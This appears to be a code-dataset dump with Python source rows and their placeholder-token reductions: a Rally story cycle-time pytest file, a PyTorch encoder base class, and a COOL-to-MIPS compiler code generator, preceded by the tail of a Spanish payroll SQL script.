sueldoBase\n\ndef calcularImponible(sueldo, hijos):\n\tif hijos>0:\n\t\tsueldoFinal= sueldo+((0.05*sueldo)*hijos)\n\telse:\n\t\tsueldoFinal= sueldo\n\treturn sueldoFinal\n\ncrearTabla(\"CREATE TABLE EMPLEADOS (nombre varchar(100), apellido varchar(100), sueldo_base Decimal, hijos int, sueldo_final Decimal)\")\ninsertarEmpleados()\nconn.commit() \nconn.close()"
] | true |
9,950 |
d10c74338ea18ef3e5fb6a4dd2224faa4f94aa62
|
import pytest
from domain.story import Story
from tests.dot_dictionary import DotDict
@pytest.fixture()
def deployed_story_over_a_weekend():
revision_0 = DotDict({
'CreationDate': "2019-07-11T14:33:20.000Z"
})
revision_1 = DotDict({
'CreationDate': "2019-07-31T15:33:20.000Z",
'Description': "SCHEDULE STATE changed from [To-Do] to [In-Progress], READY changed from [true] to [false]"
})
revision_2 = DotDict({
'CreationDate': "2019-08-06T16:33:20.000Z",
'Description': "SCHEDULE STATE changed from [Ready For Prod] to [Deployed]"
})
rally_story = DotDict({
'ScheduleState': 'Completed',
'RevisionHistory': DotDict({
'Revisions': [revision_2, revision_1, revision_0]
})
});
return Story(rally_story, ['Backlog', 'To-Do', 'In-Progress', 'Completed', 'Ready For Prod', 'Deployed'],
{'In-Progress', 'Development'}, {'Deployed', 'Prod - ON'})
def test_cycle_time_only_includes_business_days(deployed_story_over_a_weekend):
assert deployed_story_over_a_weekend.cycle_time == 7
def test_find_current_start_state() :
assert 'In-Progress' == Story.find_current_state_name({'Backlog', 'To-Do', 'In-Progress', 'Completed', 'Ready For Prod', 'Deployed'}, {'In-Progress', 'Development'})
|
[
"import pytest\nfrom domain.story import Story\nfrom tests.dot_dictionary import DotDict\n\[email protected]()\ndef deployed_story_over_a_weekend():\n revision_0 = DotDict({\n 'CreationDate': \"2019-07-11T14:33:20.000Z\"\n })\n revision_1 = DotDict({\n 'CreationDate': \"2019-07-31T15:33:20.000Z\",\n 'Description': \"SCHEDULE STATE changed from [To-Do] to [In-Progress], READY changed from [true] to [false]\"\n })\n revision_2 = DotDict({\n 'CreationDate': \"2019-08-06T16:33:20.000Z\",\n 'Description': \"SCHEDULE STATE changed from [Ready For Prod] to [Deployed]\"\n })\n rally_story = DotDict({\n 'ScheduleState': 'Completed',\n 'RevisionHistory': DotDict({\n 'Revisions': [revision_2, revision_1, revision_0]\n })\n });\n return Story(rally_story, ['Backlog', 'To-Do', 'In-Progress', 'Completed', 'Ready For Prod', 'Deployed'],\n {'In-Progress', 'Development'}, {'Deployed', 'Prod - ON'})\n\n\ndef test_cycle_time_only_includes_business_days(deployed_story_over_a_weekend):\n assert deployed_story_over_a_weekend.cycle_time == 7\n\n\ndef test_find_current_start_state() :\n assert 'In-Progress' == Story.find_current_state_name({'Backlog', 'To-Do', 'In-Progress', 'Completed', 'Ready For Prod', 'Deployed'}, {'In-Progress', 'Development'})\n",
"import pytest\nfrom domain.story import Story\nfrom tests.dot_dictionary import DotDict\n\n\[email protected]()\ndef deployed_story_over_a_weekend():\n revision_0 = DotDict({'CreationDate': '2019-07-11T14:33:20.000Z'})\n revision_1 = DotDict({'CreationDate': '2019-07-31T15:33:20.000Z',\n 'Description':\n 'SCHEDULE STATE changed from [To-Do] to [In-Progress], READY changed from [true] to [false]'\n })\n revision_2 = DotDict({'CreationDate': '2019-08-06T16:33:20.000Z',\n 'Description':\n 'SCHEDULE STATE changed from [Ready For Prod] to [Deployed]'})\n rally_story = DotDict({'ScheduleState': 'Completed', 'RevisionHistory':\n DotDict({'Revisions': [revision_2, revision_1, revision_0]})})\n return Story(rally_story, ['Backlog', 'To-Do', 'In-Progress',\n 'Completed', 'Ready For Prod', 'Deployed'], {'In-Progress',\n 'Development'}, {'Deployed', 'Prod - ON'})\n\n\ndef test_cycle_time_only_includes_business_days(deployed_story_over_a_weekend):\n assert deployed_story_over_a_weekend.cycle_time == 7\n\n\ndef test_find_current_start_state():\n assert 'In-Progress' == Story.find_current_state_name({'Backlog',\n 'To-Do', 'In-Progress', 'Completed', 'Ready For Prod', 'Deployed'},\n {'In-Progress', 'Development'})\n",
"<import token>\n\n\[email protected]()\ndef deployed_story_over_a_weekend():\n revision_0 = DotDict({'CreationDate': '2019-07-11T14:33:20.000Z'})\n revision_1 = DotDict({'CreationDate': '2019-07-31T15:33:20.000Z',\n 'Description':\n 'SCHEDULE STATE changed from [To-Do] to [In-Progress], READY changed from [true] to [false]'\n })\n revision_2 = DotDict({'CreationDate': '2019-08-06T16:33:20.000Z',\n 'Description':\n 'SCHEDULE STATE changed from [Ready For Prod] to [Deployed]'})\n rally_story = DotDict({'ScheduleState': 'Completed', 'RevisionHistory':\n DotDict({'Revisions': [revision_2, revision_1, revision_0]})})\n return Story(rally_story, ['Backlog', 'To-Do', 'In-Progress',\n 'Completed', 'Ready For Prod', 'Deployed'], {'In-Progress',\n 'Development'}, {'Deployed', 'Prod - ON'})\n\n\ndef test_cycle_time_only_includes_business_days(deployed_story_over_a_weekend):\n assert deployed_story_over_a_weekend.cycle_time == 7\n\n\ndef test_find_current_start_state():\n assert 'In-Progress' == Story.find_current_state_name({'Backlog',\n 'To-Do', 'In-Progress', 'Completed', 'Ready For Prod', 'Deployed'},\n {'In-Progress', 'Development'})\n",
"<import token>\n\n\[email protected]()\ndef deployed_story_over_a_weekend():\n revision_0 = DotDict({'CreationDate': '2019-07-11T14:33:20.000Z'})\n revision_1 = DotDict({'CreationDate': '2019-07-31T15:33:20.000Z',\n 'Description':\n 'SCHEDULE STATE changed from [To-Do] to [In-Progress], READY changed from [true] to [false]'\n })\n revision_2 = DotDict({'CreationDate': '2019-08-06T16:33:20.000Z',\n 'Description':\n 'SCHEDULE STATE changed from [Ready For Prod] to [Deployed]'})\n rally_story = DotDict({'ScheduleState': 'Completed', 'RevisionHistory':\n DotDict({'Revisions': [revision_2, revision_1, revision_0]})})\n return Story(rally_story, ['Backlog', 'To-Do', 'In-Progress',\n 'Completed', 'Ready For Prod', 'Deployed'], {'In-Progress',\n 'Development'}, {'Deployed', 'Prod - ON'})\n\n\n<function token>\n\n\ndef test_find_current_start_state():\n assert 'In-Progress' == Story.find_current_state_name({'Backlog',\n 'To-Do', 'In-Progress', 'Completed', 'Ready For Prod', 'Deployed'},\n {'In-Progress', 'Development'})\n",
"<import token>\n<function token>\n<function token>\n\n\ndef test_find_current_start_state():\n assert 'In-Progress' == Story.find_current_state_name({'Backlog',\n 'To-Do', 'In-Progress', 'Completed', 'Ready For Prod', 'Deployed'},\n {'In-Progress', 'Development'})\n",
"<import token>\n<function token>\n<function token>\n<function token>\n"
] | false |
9,951 |
86ee2300b5270df3dadb22f2cfea626e6556e5db
|
from torch import nn
from abc import ABCMeta, abstractmethod
class BaseEncoder(nn.Module):
__metaclass__ = ABCMeta
def __init__(self, **kwargs):
if len(kwargs) > 0:
raise RuntimeError(
"Unrecognized options: {}".format(', '.join(kwargs.keys())))
super(BaseEncoder, self).__init__()
@abstractmethod
def forward(self, features, features_lengths, spkids):
""" Encode a minibatch of audio features
:param features: float32 tensor of size (bs x t x f x c)
:param features_lengths: int64 tensor of size (bs)
:param spkids: string id of speakers
:returns: A tuple with elements:
- encoded: float32 tensor of size (t x bs x d)
- encoded_lens: int64 tensor of size (bs)
"""
pass
def get_parameters_for_optimizer(self):
return self.parameters()
|
[
"from torch import nn\nfrom abc import ABCMeta, abstractmethod\n\nclass BaseEncoder(nn.Module):\n __metaclass__ = ABCMeta\n\n def __init__(self, **kwargs):\n if len(kwargs) > 0:\n raise RuntimeError(\n \"Unrecognized options: {}\".format(', '.join(kwargs.keys())))\n super(BaseEncoder, self).__init__()\n\n @abstractmethod\n def forward(self, features, features_lengths, spkids):\n \"\"\" Encode a minibatch of audio features\n\n :param features: float32 tensor of size (bs x t x f x c)\n :param features_lengths: int64 tensor of size (bs)\n :param spkids: string id of speakers\n :returns: A tuple with elements:\n - encoded: float32 tensor of size (t x bs x d)\n - encoded_lens: int64 tensor of size (bs)\n \"\"\"\n pass\n\n def get_parameters_for_optimizer(self):\n return self.parameters()",
"from torch import nn\nfrom abc import ABCMeta, abstractmethod\n\n\nclass BaseEncoder(nn.Module):\n __metaclass__ = ABCMeta\n\n def __init__(self, **kwargs):\n if len(kwargs) > 0:\n raise RuntimeError('Unrecognized options: {}'.format(', '.join(\n kwargs.keys())))\n super(BaseEncoder, self).__init__()\n\n @abstractmethod\n def forward(self, features, features_lengths, spkids):\n \"\"\" Encode a minibatch of audio features\n\n :param features: float32 tensor of size (bs x t x f x c)\n :param features_lengths: int64 tensor of size (bs)\n :param spkids: string id of speakers\n :returns: A tuple with elements:\n - encoded: float32 tensor of size (t x bs x d)\n - encoded_lens: int64 tensor of size (bs)\n \"\"\"\n pass\n\n def get_parameters_for_optimizer(self):\n return self.parameters()\n",
"<import token>\n\n\nclass BaseEncoder(nn.Module):\n __metaclass__ = ABCMeta\n\n def __init__(self, **kwargs):\n if len(kwargs) > 0:\n raise RuntimeError('Unrecognized options: {}'.format(', '.join(\n kwargs.keys())))\n super(BaseEncoder, self).__init__()\n\n @abstractmethod\n def forward(self, features, features_lengths, spkids):\n \"\"\" Encode a minibatch of audio features\n\n :param features: float32 tensor of size (bs x t x f x c)\n :param features_lengths: int64 tensor of size (bs)\n :param spkids: string id of speakers\n :returns: A tuple with elements:\n - encoded: float32 tensor of size (t x bs x d)\n - encoded_lens: int64 tensor of size (bs)\n \"\"\"\n pass\n\n def get_parameters_for_optimizer(self):\n return self.parameters()\n",
"<import token>\n\n\nclass BaseEncoder(nn.Module):\n <assignment token>\n\n def __init__(self, **kwargs):\n if len(kwargs) > 0:\n raise RuntimeError('Unrecognized options: {}'.format(', '.join(\n kwargs.keys())))\n super(BaseEncoder, self).__init__()\n\n @abstractmethod\n def forward(self, features, features_lengths, spkids):\n \"\"\" Encode a minibatch of audio features\n\n :param features: float32 tensor of size (bs x t x f x c)\n :param features_lengths: int64 tensor of size (bs)\n :param spkids: string id of speakers\n :returns: A tuple with elements:\n - encoded: float32 tensor of size (t x bs x d)\n - encoded_lens: int64 tensor of size (bs)\n \"\"\"\n pass\n\n def get_parameters_for_optimizer(self):\n return self.parameters()\n",
"<import token>\n\n\nclass BaseEncoder(nn.Module):\n <assignment token>\n\n def __init__(self, **kwargs):\n if len(kwargs) > 0:\n raise RuntimeError('Unrecognized options: {}'.format(', '.join(\n kwargs.keys())))\n super(BaseEncoder, self).__init__()\n <function token>\n\n def get_parameters_for_optimizer(self):\n return self.parameters()\n",
"<import token>\n\n\nclass BaseEncoder(nn.Module):\n <assignment token>\n <function token>\n <function token>\n\n def get_parameters_for_optimizer(self):\n return self.parameters()\n",
"<import token>\n\n\nclass BaseEncoder(nn.Module):\n <assignment token>\n <function token>\n <function token>\n <function token>\n",
"<import token>\n<class token>\n"
] | false |
9,952 |
63bc191a81a200d3c257de429c082cc8d13c98f4
|
"""
Registers $v0 and $v1 are used to return values from functions.
Registers $t0 – $t9 are caller-saved registers that are used to
hold temporary quantities that need not be preserved across calls
Registers $s0 – $s7 (16–23) are callee-saved registers that hold long-lived
values that should be preserved across calls. They are preserved across calls
Register $gp is a global pointer that points to the middle of a 64K block
of memory in the static data segment. Preserve across calls
Register $fp is the frame pointer. Register $fp is saved by every procedure
that allocates a new stack frame.Preserve across calls
Register $sp is the stack pointer, which points to the last location on
the stack(Points to Free Memory). Preserve across calls
Register $ra only needs to be saved if the callee itself makes a call.
Register $s0 <- Prototypes table
Register $s1 <- Class Names table
Register $s2 <- Class parents table
0($fp): some local variable
4(%fp): old $ra
8(%fp): old $fp
12(%fp): 1st argument Self
.....
Class Name table layout
offset 0 - "Class1"
offset 4 - "Class2"
offset 8 - "Class3"
.....
Prototypes Table layout
offset 0 - protObj1
offset 4 - Obj1_init
offset 8 - protObj2
offset 12 - Obj2_init
.....
Dispatch Table layout:
offset 0 - addres of method m0
offset 1 - addres of method m1
.....
Prototype layout:
offset 0 - Class tag : int that identifies the class of the object
offset 4 - Object size :(in 32-bit words) = 12 + 4 * (number of attributes)
offset 8 - Dispatch pointer : pointer to the table of virtual methods
offset 12. . . Attributes
"""
import sys
sys.path.append('..')
import commons.cil_ast as cil
import commons.visitor as visitor
from commons.settings import *
class MipsVisitor:
"""
Mips Visitor Class.
This visitor will process the AST of the generated CIL and write the mips code to a file.
"""
def __init__(self, inherit_graph, output_file="mips_code.mips"):
self.inherit_graph, _ = inherit_graph
self.offset = dict()
self.type_index = []
self.dispatchtable_code = []
self.prototypes_code = []
self.cur_labels_id = 0
self.output_file = output_file
# ======================================================================
# =[ UTILS ]============================================================
# ======================================================================
def push(self):
self.write_file('sw $a0 0($sp)')
self.write_file('addiu $sp $sp -4')
def pop(self, dest=None):
self.write_file(f'addiu $sp $sp 4')
def write_file(self, msg, mode = "a", tabbed=True):
f = open(self.output_file, mode)
f.write("{}{}\n".format("\t" if tabbed else "", msg))
f.close()
def allocate_memory(self, size=None, register=False):
if register:
self.write_file('move $a0 {}'.format(size))
else:
if size:
self.write_file('li $a0 {}'.format(size))
self.write_file('li $v0 9')
self.write_file('syscall')
def new_labels_id(self):
self.cur_labels_id += 1
return self.cur_labels_id
# ======================================================================
@visitor.on('node')
def visit(self, node):
pass
################################ PROGRAM #####################################
@visitor.when(cil.Program)
def visit(self, node: cil.Program):
self.write_file('', "w")
#-------------------- DATA SECTION ----------------------------
self.write_file('.data', tabbed = False)
# Declare static data
self.static_datas()
# Transpile CIL data section
for data in node.data_section:
self.visit(data)
self.write_file('')
# Declare class name strings and map class index
for i in range(len(node.type_section)):
self.type_index.append(node.type_section[i].type_name)
self.write_file('classname_{}: .asciiz \"{}\"'.format(node.type_section[i].type_name,node.type_section[i].type_name))
# Declare void type
self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')
#-------------------- TEXT SECTION ----------------------------
self.write_file('\n.text')
self.entry()
self.write_file('\n########## STATIC FUNCTIONS ##########\n')
# CONFORMS
self.conforms()
# IS_VOID
self.isvoid()
# OBJECT
self.object_abort()
self.object_copy()
self.object_typename()
# STRING
self.string_length()
self.string_concat()
self.string_substr()
# IO
self.io_in_int()
self.io_in_string()
self.io_out_int()
self.io_out_string()
for t in node.type_section:
self.visit(t)
self.write_file('\n############## TABLES ################\n')
# Generate method that creates classes's name table
self.write_file('function_build_class_name_table:', tabbed=False)
self.allocate_memory(len(node.type_section) * 4)
self.write_file('move $s1 $v0') # save the address of the table in a register
for i in range(len(node.type_section)):
self.write_file('la $t1 classname_{}'.format(node.type_section[i].type_name))
self.write_file('sw $t1 {}($s1)'.format(4 * i))
self.write_file('')
# Generate method that allocates memory for prototypes table
self.write_file('function_allocate_prototypes_table:', tabbed=False)
self.allocate_memory(8 * len(self.type_index))
self.write_file('move $s0 $v0') # save the address of the table in a register
self.write_file('')
# Generate mips method that builds prototypes
self.write_file('function_build_prototypes:', tabbed=False)
for ins in self.prototypes_code:
self.write_file(ins)
self.write_file('')
# Generate mips method that builds dispatch tables
self.write_file('function_build_dispatch_tables:', tabbed=False)
for ins in self.dispatchtable_code:
self.write_file(ins)
self.write_file('')
# Generate method that builds class parents table
self.write_file('function_build_class_parents_table:', tabbed=False)
self.allocate_memory(4 * len(self.type_index))
self.write_file('move $s2 $v0') # save the address of the table in a register
self.write_file('')
# Fill table entry for each class type
for parent in self.inherit_graph.keys():
p_index = self.type_index.index(parent)
for child in self.inherit_graph[parent]:
ch_index = self.type_index.index(child.name)
self.write_file(f'li $t0 {ch_index}')
self.write_file(f'mul $t0 $t0 4')
self.write_file(f'add $t0 $t0 $s2')
self.write_file(f'li $t1 {p_index}')
self.write_file(f'sw $t1 0($t0)')
self.write_file('')
self.write_file('')
# Generate COOL functions
self.write_file('\n########### COOL FUNCTIONS ##########\n')
for func in node.code_section:
is_built_in = False
if not INIT_CIL_SUFFIX in func.name:
is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in func.name] != []
if not is_built_in:
self.visit(func)
self.write_file('\n#####################################\n')
################################ .DATA #######################################
@visitor.when(cil.Data)
def visit(self, node: cil.Data):
self.write_file(f'{node.dest}: .asciiz \"{str(node.value.encode())[2:-1]}\"')
################################ TYPES #######################################
@visitor.when(cil.Type)
def visit(self, node: cil.Type):
# Allocate
self.dispatchtable_code.append(f'# Type {node.type_name}')
self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.methods)))
self.dispatchtable_code.append('li $v0 9')
self.dispatchtable_code.append('syscall')
# Add dispatch table code
for i in range(len(node.methods)):
self.dispatchtable_code.append('la $t1 function_{}'.format(node.methods[i].function_name))
self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))
self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.type_index.index(node.type_name)))
self.dispatchtable_code.append('sw $v0 8($t0)')
self.dispatchtable_code.append('')
# Allocate
self.prototypes_code.append(f'# Type {node.type_name}')
self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.attributes)))
self.prototypes_code.append('li $v0 9')
self.prototypes_code.append('syscall')
# Add prototype code
class_index = self.type_index.index(node.type_name)
self.prototypes_code.append('li $a0 {}'.format(class_index))
self.prototypes_code.append('sw $a0 0($v0)')
self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.attributes)))
self.prototypes_code.append('sw $a0 4($v0)')
self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))
self.prototypes_code.append('')
@visitor.when(cil.Function)
def visit(self, node: cil.Function):
self.write_file(f'function_{node.name}:', tabbed=False)
# Set up stack frame
self.write_file(f'move $fp, $sp')
self.write_file(f'subiu $sp, $sp, {4 * len(node.vlocals)}')
# Register arguments offsets
for i in range(len(node.args)):
self.offset[node.args[i].name] = 12 + i * 4
# Register locals offsets
for i in range(len(node.vlocals)):
self.offset[node.vlocals[i].name] = i * (-4)
# Generate mips code for the function's body
for inst in node.body:
# Equal node needs unique id for its labels
if isinstance(inst, cil.Equal) or isinstance(inst, cil.Div):
inst.id = self.new_labels_id()
self.visit(inst)
# Pop the stack frame
self.write_file(f'addiu $sp, $sp, {4 * len(node.vlocals)}')
# Return
self.write_file('jr $ra')
self.write_file('')
############################## ASSIGNMENT ####################################
@visitor.when(cil.Assign)
def visit(self, node: cil.Assign):
self.write_file('# ASSIGN')
self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))
self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))
self.write_file('')
############################# ARITHMETICS ####################################
@visitor.when(cil.Plus)
def visit(self, node: cil.Plus):
self.write_file('# +')
self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))
self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))
self.write_file('add $a0, $a0, $a1')
self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))
self.write_file('')
@visitor.when(cil.Minus)
def visit(self, node: cil.Minus):
self.write_file('# -')
if isinstance(node.left, int):
self.write_file('li $a0 {}'.format(node.left))
else:
self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))
self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))
self.write_file('sub $a0, $a0, $a1')
self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))
self.write_file('')
@visitor.when(cil.Mult)
def visit(self, node: cil.Mult):
self.write_file('# *')
self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))
self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))
self.write_file('mul $a0, $a0, $a1')
self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))
self.write_file('')
@visitor.when(cil.Div)
def visit(self, node: cil.Div):
self.write_file('# /')
self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))
self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))
self.write_file(f'beqz $a1 _div_error_{node.id}_')
self.write_file('div $a0, $a0, $a1')
self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))
self.write_file(f'b _div_end_{node.id}_')
self.write_file(f'_div_error_{node.id}_:',tabbed=False)
self.write_file('la $a0 _div_zero_msg')
self.write_file('li $v0 4')
self.write_file('syscall')
self.write_file('la $a0 _abort_msg')
self.write_file('li $v0 4')
self.write_file('syscall')
self.write_file('li $v0 10')
self.write_file('syscall')
self.write_file(f'_div_end_{node.id}_:',tabbed=False)
############################# COMPARISONS ####################################
@visitor.when(cil.Equal)
def visit(self, node: cil.Equal):
self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))
self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))
self.write_file(f'beq $t0 $zero _eq_false_{node.id}_') # $t0 can't also be void
self.write_file(f'beq $t1 $zero _eq_false_{node.id}_') # $t1 can't also be void
self.write_file('lw $a0 0($t0)') # get object 1 tag
self.write_file('lw $a1 0($t1)') # get object 2 tag
self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_') # compare tags
self.write_file('li $a2 {}'.format(self.type_index.index(INTEGER_CLASS))) # load int tag
self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}') # Integers
self.write_file('li $a2 {}'.format(self.type_index.index(BOOLEAN_CLASS))) # load bool tag
self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}') # Booleans
self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))) # load string tag
self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_') # Not a primitive type
# equal strings
# verify len of the strings
self.write_file(f'_eq_str_{node.id}_:', tabbed = False) # handle strings
self.write_file('lw $t3 12($t0)') # get string_1 size
self.write_file('lw $t3 12($t3)') # unbox string_1 size
self.write_file('lw $t4, 12($t1)') # get string_2 size
self.write_file('lw $t4, 12($t4)') # unbox string_2 size
self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_') # string size are distinct
self.write_file(f'beq $t3 $0 _eq_true_{node.id}_') # if strings are empty
# Verify ascii secuences
self.write_file('addu $t0 $t0 16') # Point to start of string s1
self.write_file('lw $t0 0($t0)')
self.write_file('addu $t1 $t1 16') # Point to start of string s2
self.write_file('lw $t1 0($t1)')
self.write_file('move $t2 $t3') # Keep string length as counter
self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed = False)
self.write_file('lb $a0 0($t0)') # get char of s1
self.write_file('lb $a1 0($t1)') # get char of s2
self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_') # char s1 /= char s2
self.write_file('addu $t0 $t0 1')
self.write_file('addu $t1 $t1 1')
self.write_file('addiu $t2 $t2 -1') # Decrement counter
self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')
self.write_file(f'b _eq_true_{node.id}_') # end of strings
self.write_file(f'_not_basic_type_{node.id}_:', tabbed = False)
self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')
self.write_file(f'b _eq_true_{node.id}_')
# equal int or boolf
self.write_file(f'_eq_int_bool_{node.id}:', tabbed = False) # handles booleans and ints
self.write_file('lw $a3 12($t0)') # load value variable_1
self.write_file('lw $t4 12($t1)') # load variable_2
self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_') # value of int or bool are distinct
#return true
self.write_file(f'_eq_true_{node.id}_:', tabbed = False)
self.write_file('li $a0 1')
self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))
self.write_file(f'b end_equal_{node.id}_')
#return false
self.write_file(f'_eq_false_{node.id}_:', tabbed = False)
self.write_file('li $a0 0')
self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))
self.write_file(f'end_equal_{node.id}_:', tabbed = False)
@visitor.when(cil.LessThan)
def visit(self, node: cil.LessThan):
self.write_file('# <')
self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))
self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))
self.write_file('slt $a0, $a1, $a2'.format(self.offset[node.right]))
self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))
self.write_file('')
@visitor.when(cil.EqualOrLessThan)
def visit(self, node: cil.EqualOrLessThan):
self.write_file('# <=')
self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))
self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))
self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))
self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))
self.write_file('')
############################## ATTRIBUTES ####################################
@visitor.when(cil.GetAttrib)
def visit(self, node: cil.GetAttrib):
self.write_file('# GETATTR')
self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')
self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')
self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')
self.write_file('')
@visitor.when(cil.SetAttrib)
def visit(self, node: cil.SetAttrib):
self.write_file('# SETATTR')
self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')
if isinstance(node.src, int):
self.write_file(f'li $a0, {node.src}')
elif node.src[:5] == "data_":
self.write_file(f'la $a0, {node.src}')
else:
self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')
self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')
self.write_file('')
################################ MEMORY ######################################
@visitor.when(cil.TypeOf)
def visit(self, node: cil.TypeOf):
self.write_file('# TYPEOF')
self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')
self.write_file(f'lw $a0 0($a1)')
self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')
self.write_file('')
@visitor.when(cil.Allocate)
def visit(self, node: cil.Allocate):
self.write_file('# ALLOCATE')
if node.ttype == VOID_TYPE:
self.write_file(f'la $v0 {VOID_MIPS_NAME}')
self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')
else:
offset_proto = self.type_index.index(node.ttype) * 8
self.write_file('lw $t0 {}($s0)'.format(offset_proto))
self.write_file('sw $t0, 0($sp)')
self.write_file('addiu $sp, $sp, -4')
self.write_file('')
self.visit(cil.Call(dest = node.dest, f = "Object_copy"))
self.write_file('addiu $sp, $sp, 4')
self.write_file('')
########################## DISPATCH STATEMENTS ###############################
@visitor.when(cil.Call)
def visit(self, node: cil.Call):
self.write_file('# CALL')
# Save return address and frame pointer
self.write_file(f'addiu $sp, $sp, -8')
self.write_file(f'sw $ra, 4($sp)')
self.write_file(f'sw $fp, 8($sp)')
# Call the function
self.write_file(f'jal function_{node.f}')
# Restore return address and frame pointer
self.write_file(f'lw $fp, 8($sp)')
self.write_file(f'lw $ra, 4($sp)')
self.write_file(f'addiu $sp, $sp, 8')
if node.dest:
self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')
self.write_file('')
@visitor.when(cil.VCall)
def visit(self, node: cil.VCall):
self.write_file('# VCALL')
# Save return address and frame pointer
self.write_file(f'addiu $sp, $sp, -8')
self.write_file(f'sw $ra, 4($sp)')
self.write_file(f'sw $fp, 8($sp)')
if node.ttype[0] == "_":
# If node.type is a local CIL variable
self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')
else:
# If node.type a type name
self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')
self.write_file(f'mulu $a2, $a2, 8')
self.write_file(f'addu $a2, $a2, $s0')
self.write_file(f'lw $a1, 0($a2)')
# Check the dispatch table for the method's address
self.write_file(f'lw $a2, 8($a1)')
self.write_file(f'lw $a0 {node.f * 4}($a2)')
# Call the function at 0($a0)
self.write_file(f'jalr $a0')
# Restore return address and frame pointer
self.write_file(f'lw $fp, 8($sp)')
self.write_file(f'lw $ra, 4($sp)')
self.write_file(f'addiu $sp, $sp, 8')
# Save value after restoring $fp
self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')
# Check prototypes table for the dynamic type
if node.ttype[0] != '_':
self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')
else:
self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')
self.write_file('')
@visitor.when(cil.PushParam)
def visit(self, node: cil.PushParam):
self.write_file('# PUSHPARAM')
if node.name[0] != "_":
self.write_file('li $a0, {}'.format(self.type_index.index(node.name)))
else:
self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))
self.push()
self.write_file('')
@visitor.when(cil.PopParam)
def visit(self, node: cil.PopParam):
self.write_file('# POPPARAM')
self.pop(node.name)
self.write_file('')
@visitor.when(cil.Return)
def visit(self, node: cil.Return):
self.write_file('# RETURN')
self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))
################################# JUMPS ######################################
@visitor.when(cil.Label)
def visit(self, node: cil.Label):
self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)
@visitor.when(cil.Goto)
def visit(self, node: cil.Goto):
self.write_file('# GOTO')
self.write_file('j _cil_label_{}'.format(node.label))
self.write_file('')
@visitor.when(cil.IfGoto)
def visit(self, node: cil.IfGoto):
self.write_file('# IF GOTO')
self.write_file('lw $a0, {}($fp)'.format(self.offset[node.condition]))
self.write_file('bnez $a0, _cil_label_{}'.format(node.label))
self.write_file('')
############################## STATIC CODE ###################################
#----- STATIC DATAs
def static_datas(self):
# Buffer for reading strings
self.write_file('str_buffer: .space 1025')
self.write_file('')
# Declare error mensages
self.write_file('_index_negative_msg: .asciiz \"Index to substr is negative\\n\"')
self.write_file('_index_out_msg: .asciiz \"Index out range exception\\n\"')
self.write_file('_abort_msg: \"Execution aborted\\n\"')
self.write_file('_div_zero_msg: \"Division by zero exception\\n\"')
self.write_file('')
#----- ENTRY FUNCTION
def entry(self):
self.write_file('entry:', tabbed=False)
self.visit(cil.Call(dest = None, f = 'build_class_name_table'))
self.visit(cil.Call(dest = None, f = 'allocate_prototypes_table'))
self.visit(cil.Call(dest = None, f = 'build_prototypes'))
self.visit(cil.Call(dest = None, f = 'build_dispatch_tables'))
self.visit(cil.Call(dest = None, f = 'build_class_parents_table'))
self.visit(cil.Allocate(dest = None, ttype = 'Main'))
# Push main self
self.write_file('sw $v0 0($sp)')
